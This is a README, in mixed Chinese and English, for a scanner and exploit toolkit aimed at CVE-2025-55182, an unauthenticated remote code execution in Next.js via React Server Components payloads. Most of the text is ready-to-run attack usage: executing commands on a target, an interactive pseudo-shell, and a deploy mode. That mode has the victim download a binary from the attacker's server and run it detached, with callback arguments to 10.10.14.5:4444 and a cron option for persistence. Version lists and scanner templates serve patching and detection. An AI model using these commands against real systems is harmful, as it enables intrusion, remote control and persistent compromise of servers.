CVE-2025-55182 工具包。用于通过 RSC 负载注入实现 Next.js 中未经认证的远程代码执行 (RCE) 的扫描器 + 利用程序。
Node.js 利用程序:零依赖。Bash 扫描器:检查单个 URL 或批量列表。
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"
# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i
# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
Options:
-t, --target <url> Target URL (required)
-c, --command <cmd> Execute command with output
--blind Blind RCE (no output capture)
-i, --interactive Interactive pseudo-shell
--deploy <binary> Upload and execute a binary on the target
--lhost <ip> Your IP (auto-detected if omitted)
--serve-port <port> HTTP port to serve the binary (default: 8888)
--remote-args <args> Arguments passed to the deployed binary
--deploy 将四次 RCE 调用串联起来:平台检测(uname)、二进制下载(启动临时 HTTP 服务器,在目标上使用 curl/wget),以及一个分离的 spawn,使得进程能够在 5 秒的 execSync 超时后继续存活。
注意: 目标页面必须是动态页面(
force-dynamic或不可缓存的路由)。静态/预渲染页面会返回缓存的摘要,而不是执行负载。
chmod +x cve-2025-55182-check.sh
# Scan a single URL
./cve-2025-55182-check.sh https://example.com
# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt
# JSON output
./cve-2025-55182-check.sh --json https://example.com
Options:
-f, --file FILE Read URLs from file (one per line)
-v, --verbose Verbose output (show curl details)
-q, --quiet Quiet mode (only show vulnerable sites)
-n, --no-follow Don't follow redirects
-t, --timeout SECONDS Request timeout (default: 10)
--json Output results in JSON format
--validate-fix Test for mitigation controls
--single-payload Use only the basic payload (faster)
templates/ 目录中包含的安全工具模板:
templates/nuclei.yaml)templates/burp-scanner.json)templates/zap-scan-policy.xml)React: 19.0.0、19.1.0、19.1.1、19.2.0 Next.js: >=14.3.0-canary.77、全部 15.x 和 16.x(补丁发布前)
已打补丁: React 19.0.1+、19.1.2+、19.2.1+ Next.js 16.0.7+、15.5.7+、15.4.8+、15.3.6+、15.2.6+、15.1.9+、15.0.5+
请参阅 TECHNICAL.md 了解完整的利用链分析。
MIT
Allan Kimmer Jensen - https://akj.io